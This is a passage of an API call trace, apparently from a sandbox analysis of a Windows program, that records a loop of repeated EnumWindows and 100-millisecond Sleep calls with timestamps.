(dwMilliseconds=0x64) [0244.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.863] Sleep (dwMilliseconds=0x64) [0244.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.873] Sleep (dwMilliseconds=0x64) [0244.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.882] Sleep (dwMilliseconds=0x64) [0244.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.885] Sleep (dwMilliseconds=0x64) [0244.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.889] Sleep (dwMilliseconds=0x64) [0244.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.983] Sleep (dwMilliseconds=0x64) [0245.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.040] Sleep (dwMilliseconds=0x64) [0245.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.095] Sleep (dwMilliseconds=0x64) [0245.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.127] Sleep (dwMilliseconds=0x64) [0245.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.312] Sleep (dwMilliseconds=0x64) [0245.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.319] Sleep (dwMilliseconds=0x64) [0245.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.324] Sleep (dwMilliseconds=0x64) [0245.326] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.326] Sleep (dwMilliseconds=0x64) [0245.328] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.328] Sleep (dwMilliseconds=0x64) [0245.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.330] Sleep (dwMilliseconds=0x64) [0245.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.332] Sleep (dwMilliseconds=0x64) [0245.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.334] Sleep (dwMilliseconds=0x64) [0245.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.337] Sleep (dwMilliseconds=0x64) [0245.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.339] Sleep (dwMilliseconds=0x64) [0245.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.341] Sleep (dwMilliseconds=0x64) [0245.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.343] Sleep (dwMilliseconds=0x64) [0245.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.344] Sleep (dwMilliseconds=0x64) [0245.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.346] Sleep (dwMilliseconds=0x64) [0245.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.348] Sleep (dwMilliseconds=0x64) [0245.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.350] Sleep (dwMilliseconds=0x64) [0245.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.355] Sleep (dwMilliseconds=0x64) [0245.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.438] Sleep (dwMilliseconds=0x64) [0245.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.441] Sleep (dwMilliseconds=0x64) [0245.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.443] Sleep (dwMilliseconds=0x64) [0245.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.446] Sleep (dwMilliseconds=0x64) [0245.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.448] Sleep (dwMilliseconds=0x64) [0245.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.450] Sleep (dwMilliseconds=0x64) [0245.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.452] Sleep (dwMilliseconds=0x64) [0245.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.454] Sleep (dwMilliseconds=0x64) [0245.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.456] Sleep (dwMilliseconds=0x64) [0245.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.458] Sleep (dwMilliseconds=0x64) [0245.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.461] Sleep (dwMilliseconds=0x64) [0245.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.462] Sleep (dwMilliseconds=0x64) [0245.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.464] Sleep (dwMilliseconds=0x64) [0245.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.466] Sleep (dwMilliseconds=0x64) [0245.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.468] Sleep (dwMilliseconds=0x64) [0245.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.470] Sleep (dwMilliseconds=0x64) [0245.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.472] Sleep (dwMilliseconds=0x64) [0245.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.474] Sleep (dwMilliseconds=0x64) [0245.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.480] Sleep (dwMilliseconds=0x64) [0245.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.482] Sleep (dwMilliseconds=0x64) [0245.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.484] Sleep (dwMilliseconds=0x64) [0245.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.486] Sleep (dwMilliseconds=0x64) [0245.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.488] Sleep (dwMilliseconds=0x64) [0245.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.490] Sleep (dwMilliseconds=0x64) [0245.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.492] Sleep (dwMilliseconds=0x64) [0245.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.494] Sleep (dwMilliseconds=0x64) [0245.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.497] Sleep (dwMilliseconds=0x64) [0245.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.499] Sleep (dwMilliseconds=0x64) [0245.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.501] Sleep (dwMilliseconds=0x64) [0245.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.503] Sleep (dwMilliseconds=0x64) [0245.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.505] Sleep (dwMilliseconds=0x64) [0245.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.507] Sleep (dwMilliseconds=0x64) [0245.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.509] Sleep (dwMilliseconds=0x64) [0245.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.511] Sleep (dwMilliseconds=0x64) [0245.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.513] Sleep (dwMilliseconds=0x64) [0245.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.515] Sleep (dwMilliseconds=0x64) [0245.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.517] Sleep (dwMilliseconds=0x64) [0245.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.521] Sleep (dwMilliseconds=0x64) [0245.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.524] Sleep (dwMilliseconds=0x64) [0245.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.525] Sleep (dwMilliseconds=0x64) [0245.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.527] Sleep (dwMilliseconds=0x64) [0245.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.529] Sleep (dwMilliseconds=0x64) [0245.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.531] Sleep (dwMilliseconds=0x64) [0245.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.533] Sleep (dwMilliseconds=0x64) [0245.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.535] Sleep (dwMilliseconds=0x64) [0245.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.537] Sleep (dwMilliseconds=0x64) [0245.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.539] Sleep (dwMilliseconds=0x64) [0245.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.541] Sleep (dwMilliseconds=0x64) [0245.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.543] Sleep (dwMilliseconds=0x64) [0245.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.545] Sleep (dwMilliseconds=0x64) [0245.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.547] Sleep (dwMilliseconds=0x64) [0245.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.549] Sleep (dwMilliseconds=0x64) [0245.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.551] Sleep (dwMilliseconds=0x64) [0245.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.553] Sleep (dwMilliseconds=0x64) [0245.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.560] Sleep (dwMilliseconds=0x64) [0245.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.563] Sleep (dwMilliseconds=0x64) [0245.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.565] Sleep (dwMilliseconds=0x64) [0245.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.567] Sleep (dwMilliseconds=0x64) [0245.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.569] Sleep (dwMilliseconds=0x64) [0245.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.572] Sleep (dwMilliseconds=0x64) [0245.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.575] Sleep (dwMilliseconds=0x64) [0245.577] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.577] Sleep (dwMilliseconds=0x64) [0245.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.580] Sleep (dwMilliseconds=0x64) [0245.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.582] Sleep (dwMilliseconds=0x64) [0245.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.585] Sleep (dwMilliseconds=0x64) [0245.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.586] Sleep (dwMilliseconds=0x64) [0245.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.588] Sleep (dwMilliseconds=0x64) [0245.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.590] Sleep (dwMilliseconds=0x64) [0245.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.592] Sleep (dwMilliseconds=0x64) [0245.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.594] Sleep (dwMilliseconds=0x64) [0245.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.597] Sleep (dwMilliseconds=0x64) [0245.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.599] Sleep (dwMilliseconds=0x64) [0245.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.601] Sleep (dwMilliseconds=0x64) [0245.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.603] Sleep (dwMilliseconds=0x64) [0245.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.605] Sleep (dwMilliseconds=0x64) [0245.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.608] Sleep (dwMilliseconds=0x64) [0245.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.610] Sleep (dwMilliseconds=0x64) [0245.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.612] Sleep (dwMilliseconds=0x64) [0245.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.614] Sleep (dwMilliseconds=0x64) [0245.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.616] Sleep (dwMilliseconds=0x64) [0245.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.623] Sleep (dwMilliseconds=0x64) [0245.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.631] Sleep (dwMilliseconds=0x64) [0245.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.633] Sleep (dwMilliseconds=0x64) [0245.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.635] Sleep (dwMilliseconds=0x64) [0245.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.637] Sleep (dwMilliseconds=0x64) [0245.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.639] Sleep (dwMilliseconds=0x64) [0245.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.641] Sleep (dwMilliseconds=0x64) [0245.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.643] Sleep (dwMilliseconds=0x64) [0245.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.645] Sleep (dwMilliseconds=0x64) [0245.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.647] Sleep (dwMilliseconds=0x64) [0245.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.650] Sleep (dwMilliseconds=0x64) [0245.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.764] Sleep (dwMilliseconds=0x64) [0245.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.767] Sleep (dwMilliseconds=0x64) [0245.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.768] Sleep (dwMilliseconds=0x64) [0245.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.770] Sleep (dwMilliseconds=0x64) [0245.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.773] Sleep (dwMilliseconds=0x64) [0245.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.820] Sleep (dwMilliseconds=0x64) [0245.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.899] Sleep (dwMilliseconds=0x64) [0245.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.991] Sleep (dwMilliseconds=0x64) [0245.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0245.993] Sleep (dwMilliseconds=0x64) [0246.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.002] Sleep (dwMilliseconds=0x64) [0246.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.010] Sleep (dwMilliseconds=0x64) [0246.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.020] Sleep (dwMilliseconds=0x64) [0246.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.080] Sleep (dwMilliseconds=0x64) [0246.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.128] Sleep (dwMilliseconds=0x64) [0246.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.136] Sleep (dwMilliseconds=0x64) [0246.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.147] Sleep (dwMilliseconds=0x64) [0246.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.152] Sleep (dwMilliseconds=0x64) [0246.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.154] Sleep (dwMilliseconds=0x64) [0246.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.156] Sleep (dwMilliseconds=0x64) [0246.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.158] Sleep (dwMilliseconds=0x64) [0246.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.193] Sleep (dwMilliseconds=0x64) [0246.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.277] Sleep (dwMilliseconds=0x64) [0246.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.279] Sleep (dwMilliseconds=0x64) [0246.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.281] Sleep (dwMilliseconds=0x64) [0246.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.283] Sleep (dwMilliseconds=0x64) [0246.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.285] Sleep (dwMilliseconds=0x64) [0246.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.287] Sleep (dwMilliseconds=0x64) [0246.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.295] Sleep (dwMilliseconds=0x64) [0246.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.303] Sleep (dwMilliseconds=0x64) [0246.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.312] Sleep (dwMilliseconds=0x64) [0246.324] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.324] Sleep (dwMilliseconds=0x64) [0246.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.335] Sleep (dwMilliseconds=0x64) [0246.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.424] Sleep (dwMilliseconds=0x64) [0246.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.432] Sleep (dwMilliseconds=0x64) [0246.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.444] Sleep (dwMilliseconds=0x64) [0246.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.446] Sleep (dwMilliseconds=0x64) [0246.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.448] Sleep (dwMilliseconds=0x64) [0246.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.450] Sleep (dwMilliseconds=0x64) [0246.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.452] Sleep (dwMilliseconds=0x64) [0246.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.456] Sleep (dwMilliseconds=0x64) [0246.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.458] Sleep (dwMilliseconds=0x64) [0246.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.461] Sleep (dwMilliseconds=0x64) [0246.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.462] Sleep (dwMilliseconds=0x64) [0246.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.466] Sleep (dwMilliseconds=0x64) [0246.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.468] Sleep (dwMilliseconds=0x64) [0246.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.470] Sleep (dwMilliseconds=0x64) [0246.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.471] Sleep (dwMilliseconds=0x64) [0246.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.474] Sleep (dwMilliseconds=0x64) [0246.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.537] Sleep (dwMilliseconds=0x64) [0246.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.612] Sleep (dwMilliseconds=0x64) [0246.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.614] Sleep (dwMilliseconds=0x64) [0246.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.616] Sleep (dwMilliseconds=0x64) [0246.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.618] Sleep (dwMilliseconds=0x64) [0246.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.620] Sleep (dwMilliseconds=0x64) [0246.633] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.634] Sleep (dwMilliseconds=0x64) [0246.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.636] Sleep (dwMilliseconds=0x64) [0246.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.638] Sleep (dwMilliseconds=0x64) [0246.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.640] Sleep (dwMilliseconds=0x64) [0246.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.693] Sleep (dwMilliseconds=0x64) [0246.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.758] Sleep (dwMilliseconds=0x64) [0246.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.760] Sleep (dwMilliseconds=0x64) [0246.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.762] Sleep (dwMilliseconds=0x64) [0246.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.764] Sleep (dwMilliseconds=0x64) [0246.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.766] Sleep (dwMilliseconds=0x64) [0246.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.768] Sleep (dwMilliseconds=0x64) [0246.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.770] Sleep (dwMilliseconds=0x64) [0246.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.772] Sleep (dwMilliseconds=0x64) [0246.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.773] Sleep (dwMilliseconds=0x64) [0246.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.775] Sleep (dwMilliseconds=0x64) [0246.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.777] Sleep (dwMilliseconds=0x64) [0246.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.779] Sleep (dwMilliseconds=0x64) [0246.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.781] Sleep (dwMilliseconds=0x64) [0246.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.783] Sleep (dwMilliseconds=0x64) [0246.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.784] Sleep (dwMilliseconds=0x64) [0246.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.787] Sleep (dwMilliseconds=0x64) [0246.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.804] Sleep (dwMilliseconds=0x64) [0246.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.897] Sleep (dwMilliseconds=0x64) [0246.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.902] Sleep (dwMilliseconds=0x64) [0246.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0246.933] Sleep (dwMilliseconds=0x64) [0247.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.010] Sleep (dwMilliseconds=0x64) [0247.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.039] Sleep (dwMilliseconds=0x64) [0247.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.042] Sleep (dwMilliseconds=0x64) [0247.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.045] Sleep (dwMilliseconds=0x64) [0247.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.047] Sleep (dwMilliseconds=0x64) [0247.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.049] Sleep (dwMilliseconds=0x64) [0247.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.051] Sleep (dwMilliseconds=0x64) [0247.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.053] Sleep (dwMilliseconds=0x64) [0247.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.055] Sleep (dwMilliseconds=0x64) [0247.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.060] Sleep (dwMilliseconds=0x64) [0247.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.062] Sleep (dwMilliseconds=0x64) [0247.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.064] Sleep (dwMilliseconds=0x64) [0247.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.066] Sleep (dwMilliseconds=0x64) [0247.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.068] Sleep (dwMilliseconds=0x64) [0247.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.133] Sleep (dwMilliseconds=0x64) [0247.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.177] Sleep (dwMilliseconds=0x64) [0247.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.182] Sleep (dwMilliseconds=0x64) [0247.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.185] Sleep (dwMilliseconds=0x64) [0247.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.186] Sleep (dwMilliseconds=0x64) [0247.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.188] Sleep (dwMilliseconds=0x64) [0247.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.190] Sleep (dwMilliseconds=0x64) [0247.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.192] Sleep (dwMilliseconds=0x64) [0247.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.194] Sleep (dwMilliseconds=0x64) [0247.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.197] Sleep (dwMilliseconds=0x64) [0247.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.198] Sleep (dwMilliseconds=0x64) [0247.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.200] Sleep (dwMilliseconds=0x64) [0247.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.202] Sleep (dwMilliseconds=0x64) [0247.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.204] Sleep (dwMilliseconds=0x64) [0247.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.206] Sleep (dwMilliseconds=0x64) [0247.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.266] Sleep (dwMilliseconds=0x64) [0247.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.315] Sleep (dwMilliseconds=0x64) [0247.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.317] Sleep (dwMilliseconds=0x64) [0247.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.319] Sleep (dwMilliseconds=0x64) [0247.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.323] Sleep (dwMilliseconds=0x64) [0247.324] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.325] Sleep (dwMilliseconds=0x64) [0247.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.328] Sleep (dwMilliseconds=0x64) [0247.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.331] Sleep (dwMilliseconds=0x64) [0247.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.332] Sleep (dwMilliseconds=0x64) [0247.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.334] Sleep (dwMilliseconds=0x64) [0247.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.336] Sleep (dwMilliseconds=0x64) [0247.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.338] Sleep (dwMilliseconds=0x64) [0247.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.340] Sleep 